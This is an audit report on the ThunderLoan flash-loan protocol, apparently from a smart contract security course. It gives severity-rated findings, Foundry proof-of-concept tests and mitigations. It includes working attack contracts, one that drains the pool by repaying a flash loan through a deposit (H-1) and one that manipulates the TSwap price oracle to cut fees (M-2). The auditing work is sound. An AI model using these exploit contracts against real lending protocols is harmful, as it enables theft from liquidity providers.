Protocol Audit Report

Prepared by: Rong Wei Zhang

Table of Contents

Protocol Summary

Protocol does X, Y, Z

Disclaimer

Rong Wei Zhang makes every effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

This audit followed Cyfrin Updraft's smart contract security course to identify vulnerabilities and possible improvements.

Issues found

Severity	Number of issues found
High	2
Medium	4
Low	1
Info	2
Gas	1

Severity	Number of issues found
Total	10

Findings

High

[H-1] The user can flash loan and deposit in the liquidity pool, which allows them to withdraw the flash loan amount after repaying it.

IMPACT: HIGH

LIKELIHOOD: HIGH

Description: Since the `ThunderLoan::flashloan` only checks the balance of `AssetToken` to see if the loan has been repaid, the user could simply deposit the loan and fee into the liquidity pool and the loan will be seen as paid.

Impact: The user could steal all the money from the pool.

Proof of Concept:

1. The attacker calls flash loan to borrow some amount of money.
2. The attacker contract repays the loan and fees by depositing in the `AssetToken` pool as a liquidity provider.
3. The transaction succeeds since the contract sees the expected balance.
4. The attacker can withdraw the amount that they repaid by redeeming from the pool.

▶ Code

```
function testLoanAndRepayByDeposit() public {
        // 1. Set up the oracle
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        thunderLoan = ThunderLoan(address(proxy));
        BuffMockPoolFactory poolFactory = new BuffMockPoolFactory(
            address(weth)
        );
        address tswapPool = poolFactory.createPool(address(tokenA));
        thunderLoan.initialize(address(poolFactory));

        // 2. fund TSwap 1:1 ratio
        vm.startPrank(liquidityProvider);
        weth.mint(address(liquidityProvider), 100e18);
        weth.approve(address(tswapPool), 100e18);
        tokenA.mint(address(liquidityProvider), 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(
            100e18,
            BuffMockTSwap(tswapPool).getMinimumWethDepositAmount(),
            100e18,
            block.timestamp
        );
        vm.stopPrank();

        // 3. Deposit to ThunderLoan
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);

        vm.startPrank(liquidityProvider);
        tokenA.mint(address(liquidityProvider), 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();
        // 5. Flashloan to the user
        uint256 initialBalance = tokenA.balanceOf(
            address(thunderLoan.getAssetFromToken(tokenA))
        );
        LoanAndDeposit loanAndDeposit = new LoanAndDeposit(
            address(thunderLoan),
            address(thunderLoan.getAssetFromToken(tokenA))
        );
        vm.startPrank(user);
        tokenA.mint(address(loanAndDeposit), 150e18);
        thunderLoan.flashloan(address(loanAndDeposit), tokenA, 100e18, "");
        loanAndDeposit.withdraw(
            tokenA,
            IERC20(address(thunderLoan.getAssetFromToken(tokenA)))
        );
        uint256 finalBalance = tokenA.balanceOf(
            address(thunderLoan.getAssetFromToken(tokenA))
        );
        console.log("initialBalance", initialBalance);
        console.log("finalBalance", finalBalance);
        console.log("difference", initialBalance - finalBalance);
        vm.stopPrank();
    }


contract LoanAndDeposit is IFlashLoanReceiver {
    ThunderLoan s_thunderLoan;
    uint256 initialExchangeRate;

    constructor(address thunderLoan, address repayAddress) {
        s_thunderLoan = ThunderLoan(thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata params
    ) external returns (bool) {
        IERC20(token).approve(address(s_thunderLoan), amount + fee);
        s_thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function withdraw(IERC20 token, IERC20 assetToken) external {
        s_thunderLoan.redeem(token, type(uint256).max);
    }
}
```

Recommended Mitigation: Use another method to check if the user has repaid and track the balance using a storage variable and update that balance when users deposit or redeem.

[H-2] `ThunderLoanUpgraded`'s storage layout is different from `ThunderLoan`'s storage layout, creating storage collision.

IMPACT: HIGH

LIKELIHOOD: HIGH

Description: The function in the proxy will call to the wrong storage spot since the storage layout differs between `ThunderLoan` and `ThunderLoanUpgraded`.

Impact: After the upgrade, the fee will be incorrect and the contract will work incorrectly or simply won't work.

Proof of Concept: Upgrading the contract changes the fee.

▶ Code

```
function testUpgradeBreaks() public {
uint256 feeBefore = thunderLoan.getFee();
vm.startPrank(thunderLoan.owner());
ThunderLoanUpgraded thunderLoanUpgraded = new ThunderLoanUpgraded();
thunderLoan.upgradeToAndCall(address(thunderLoanUpgraded), "");
vm.stopPrank();
uint256 feeAfter = thunderLoan.getFee();
console.log("feeBefore", feeBefore);
console.log("feeAfter", feeAfter);
}
```

Recommended Mitigation: Leave the storage slot blank if you don't need it to avoid creating conflicts.

Medium

[M-1] Updating fees during deposit increases the fees for nothing and makes withdrawal hard

IMPACT: MEDIUM

LIKELIHOOD: HIGH

Description: A fee calculation `ThunderLoan::getCalculatedFee` and exchange rate `AssetToken::updateExchangeRate` update was done during the deposit, which shouldn't happen and thus increases the exchange rate `AssetToken::s_exchangeRate`.

```
    function deposit(
        IERC20 token,
        uint256 amount
    ) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount *
assetToken.EXCHANGE_RATE_PRECISION()) /
            exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
@>      uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact: An increase in exchange rate `AssetToken::s_exchangeRate` makes the user receive more pool tokens for one asset token than what they should receive, which can lead to insufficient balance of the `AssetToken` contract.

Proof of Concept: During the following test, the liquidityProvider is not able to withdraw funds after depositing and lending a flash loan to a user.

▶ Code

```

    function testRedeemAfterFlashLoan() public setAllowedToken hasDeposits
{
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(
            tokenA,
            amountToBorrow
        );
        vm.startPrank(user);
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
amountToBorrow);
        tokenA.mint(address(mockFlashLoanReceiver), fee);
        uint256 balanceBefore = tokenA.balanceOf(
            address(mockFlashLoanReceiver)
        );
        console.log(balanceBefore);
        thunderLoan.flashloan(
            address(mockFlashLoanReceiver),
            tokenA,
            amountToBorrow,
            ""
        );
        vm.stopPrank();
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, DEPOSIT_AMOUNT);
        vm.stopPrank();
        assert(tokenA.balanceOf(liquidityProvider) > AMOUNT);
    }
```

Recommended Mitigation: Don't calculate the fees and update exchange rates in `ThunderLoan::deposit`.

[M-2] Users can get cheaper fees by manipulating oracles with the loan.

IMPACT: MEDIUM

LIKELIHOOD: MEDIUM

Description: Using TSwap as a price oracle for fee calculations leads to oracle manipulation attacks.

Impact: Users may pay less fees which may impact the revenue of liquidity providers.

Proof of Concept:

▶ Code

```
    function testOracles() public {
        // 1. Set up the oracle
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        thunderLoan = ThunderLoan(address(proxy));
        BuffMockPoolFactory poolFactory = new BuffMockPoolFactory(
            address(weth)
        );
        address tswapPool = poolFactory.createPool(address(tokenA));
        thunderLoan.initialize(address(poolFactory));

        // 2. fund TSwap 1:1 ratio
        vm.startPrank(liquidityProvider);
        weth.mint(address(liquidityProvider), 100e18);
        weth.approve(address(tswapPool), 100e18);
        tokenA.mint(address(liquidityProvider), 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(
            100e18,
            BuffMockTSwap(tswapPool).getMinimumWethDepositAmount(),
            100e18,
            block.timestamp
        );
        vm.stopPrank();

        // 3. Deposit to ThunderLoan
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);

        vm.startPrank(liquidityProvider);
        tokenA.mint(address(liquidityProvider), 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();
        // 4. show that fee can be largely reduced by exploiting the oracle
        uint256 normalFee = thunderLoan.getCalculatedFee(tokenA, 100e18);
        console.log("normalFee", normalFee);
        // 5. Flashloan to the user
        BadFlashLoanReceiver badFlashLoanReceiver = new BadFlashLoanReceiver(
            address(thunderLoan),
            tswapPool,
            address(thunderLoan.getAssetFromToken(tokenA))
        );
        vm.startPrank(user);
        tokenA.mint(address(badFlashLoanReceiver), 150e18);
        thunderLoan.flashloan(
            address(badFlashLoanReceiver),
            tokenA,
            100e18,
            ""
        );
        vm.stopPrank();
        console.log("feeOne", badFlashLoanReceiver.feeOne());
        console.log("feeTwo", badFlashLoanReceiver.feeTwo());
        // 6. Repay the flashloan
    }

contract BadFlashLoanReceiver is IFlashLoanReceiver {
ThunderLoan s_thunderLoan;
BuffMockTSwap s_tswapPool;
address s_repayAddress;
bool attacked = false;
uint256 public feeOne;
uint256 public feeTwo;

    constructor(address thunderLoan, address tswapPool, address repayAddress) {
        s_thunderLoan = ThunderLoan(thunderLoan);
        s_tswapPool = BuffMockTSwap(tswapPool);
        s_repayAddress = repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata params
    ) external returns (bool) {
        if (!attacked) {
            feeOne = fee;
            //do the swap
            IERC20(token).approve(address(s_tswapPool), amount);
            s_tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(
                amount,
                s_tswapPool.getMinimumWethDepositAmount(),
                block.timestamp
            );
            attacked = true;
            s_thunderLoan.flashloan(address(this), IERC20(token), amount,
"");
            IERC20(token).transfer(address(s_repayAddress), amount + fee);
        } else {
            //repay the flashloan and calculate fee
            feeTwo = fee;
            IERC20(token).transfer(address(s_repayAddress), amount + fee);
        }
        return true;
    }

}
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap fallback oracle.

[M-3] Nested `ThunderLoan::flashloan` calls cannot use `ThunderLoan::repay` function.

IMPACT: MEDIUM

LIKELIHOOD: HIGH/MEDIUM

Description: `ThunderLoan::s_currentlyFlashLoaning` is set to false before the first flash loan returns and prevents subsequent repayments from executing.

1. `ThunderLoan::s_currentlyFlashLoaning` is set to false before returning.

```

        receiverAddress.functionCall(
            abi.encodeCall(
                IFlashLoanReceiver.executeOperation,
                (
                    address(token),
                    amount,
                    fee,
                    msg.sender, // initiator
                    params
                )
            )
        );

        uint256 endingBalance = token.balanceOf(address(assetToken));
        if (endingBalance < startingBalance + fee) {
            revert ThunderLoan__NotPaidBack(
                startingBalance + fee,
                endingBalance
            );
        }
@>      s_currentlyFlashLoaning[token] = false;
```

2. `ThunderLoan::repay` reverts if `ThunderLoan::s_currentlyFlashLoaning` is false.

```
function repay(IERC20 token, uint256 amount) public {
@>      if (!s_currentlyFlashLoaning[token]) {
@>          revert ThunderLoan__NotCurrentlyFlashLoaning();
        }
        AssetToken assetToken = s_tokenToAssetToken[token];
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

Impact: Nested flash loans cannot use the repay function to repay but can still happen using the transfer function.

Recommended Mitigation: Use a local variable to store if there was already a flash loan, and if yes, don't set `ThunderLoan::s_currentlyFlashLoaning` to false.

[M-4] If redeem happens during flash loan, the protocol will see the balance decrease as `ThunderLoan__NotPaidBack`.

IMPACT: MEDIUM

LIKELIHOOD: MEDIUM/LOW

Description: The reduction in balance caused by the redeem makes the protocol think that the user has not paid back the loan and revert the transaction.

Impact: This could affect the availability of the protocol.

Proof of Concept:

1. Deposit liquidity into the pool.

2. Call the flash loan function.
3. Repay the loan with the fees.
4. Before returning, redeem the previously deposited liquidity.
5. The balance of `AssetToken` is lower than the balance before and the flash loan function reverts.

▶ Code

```
    function testDepositLoanRepayRedeem() public {
        // 1. Set up the oracle
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        thunderLoan = ThunderLoan(address(proxy));
        BuffMockPoolFactory poolFactory = new BuffMockPoolFactory(
            address(weth)
        );
        address tswapPool = poolFactory.createPool(address(tokenA));
        thunderLoan.initialize(address(poolFactory));

        // 2. fund TSwap 1:1 ratio
        vm.startPrank(liquidityProvider);
        weth.mint(address(liquidityProvider), 100e18);
        weth.approve(address(tswapPool), 100e18);
        tokenA.mint(address(liquidityProvider), 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(
            100e18,
            BuffMockTSwap(tswapPool).getMinimumWethDepositAmount(),
            100e18,
            block.timestamp
        );
        vm.stopPrank();

        // 3. Deposit to ThunderLoan
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);

        vm.startPrank(liquidityProvider);
        tokenA.mint(address(liquidityProvider), 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();
        // 5. Flashloan to the user
        uint256 initialBalance = tokenA.balanceOf(
            address(thunderLoan.getAssetFromToken(tokenA))
        );
        DepositLoanAndRepay depositLoanAndRepay = new DepositLoanAndRepay(
            address(thunderLoan),
            address(thunderLoan.getAssetFromToken(tokenA))
        );
        tokenA.mint(address(depositLoanAndRepay), 150e18);
        depositLoanAndRepay.deposit(tokenA, 100e18);
        vm.startPrank(user);
        vm.expectRevert();
        thunderLoan.flashloan(address(depositLoanAndRepay), tokenA, 100e18, "");
        vm.stopPrank();
    }


contract DepositLoanAndRepay is IFlashLoanReceiver {
    ThunderLoan s_thunderLoan;

    constructor(address thunderLoan, address repayAddress) {
        s_thunderLoan = ThunderLoan(thunderLoan);
    }

    function deposit(IERC20 token, uint256 amount) external {
        IERC20(token).approve(address(s_thunderLoan), amount);
        s_thunderLoan.deposit(IERC20(token), amount);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata params
    ) external returns (bool) {
        IERC20(token).approve(address(s_thunderLoan), amount + fee);
        s_thunderLoan.repay(IERC20(token), amount + fee);
        withdraw(IERC20(token));
        return true;
    }

    function withdraw(IERC20 token) internal {
        s_thunderLoan.redeem(token, type(uint256).max);
    }
}
```

```
    │   │   │   └─ ← [Return] 1000242280717038037653 [1e21]
    │   │   └─ ← [Revert] ThunderLoan__NotPaidBack(1100296147410319118389 [1.1e21], 1000242280717038037653 [1e21])
    │   └─ ← [Revert] ThunderLoan__NotPaidBack(1100296147410319118389 [1.1e21], 1000242280717038037653 [1e21])
```

Recommended Mitigation: Track the expected repayment amount separately from the current balance, or prevent redemptions during active flash loans to avoid balance discrepancies.

Low

[L-1] The `IThunderLoan` interface has an incorrectly defined function.

IMPACT: MEDIUM/LOW

LIKELIHOOD: HIGH

Description: The `IThunderLoan::repay` takes `address token` while `ThunderLoan::repay` takes `IERC20 token`.

```
interface IThunderLoan {
function repay(address token, uint256 amount) external;
}

function repay(IERC20 token, uint256 amount) public
```

Impact: The repay function won't be able to be called from the `IThunderLoan` interface.

Recommended Mitigation: Use the same type for the parameters.

Informational

[I-1] Unused import that is only used during test imports.

Description:

```
import { IThunderLoan } from "./IThunderLoan.sol";
```

Recommended Mitigation: This should be removed and imports should be done inside test files.

[I-2] An event should be emitted on storage variable change.

Description: Emit an event for easier off-chain accessibility.

```
function updateFlashLoanFee(uint256 newFee) external onlyOwner {
if (newFee > s_feePrecision) {
revert ThunderLoan\_\_BadNewFee();
}
s_flashLoanFee = newFee;
}
```

Gas

[G-1] Functions not used internally should be declared external to save gas.

Description: The `repay` function is declared as `public` but is not called internally within the contract.

```
function repay(IERC20 token, uint256 amount) public {
if (!s_currentlyFlashLoaning[token]) {
revert ThunderLoan\_\_NotCurrentlyFlashLoaning();
}
AssetToken assetToken = s_tokenToAssetToken[token];
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

Recommended Mitigation: Change to external.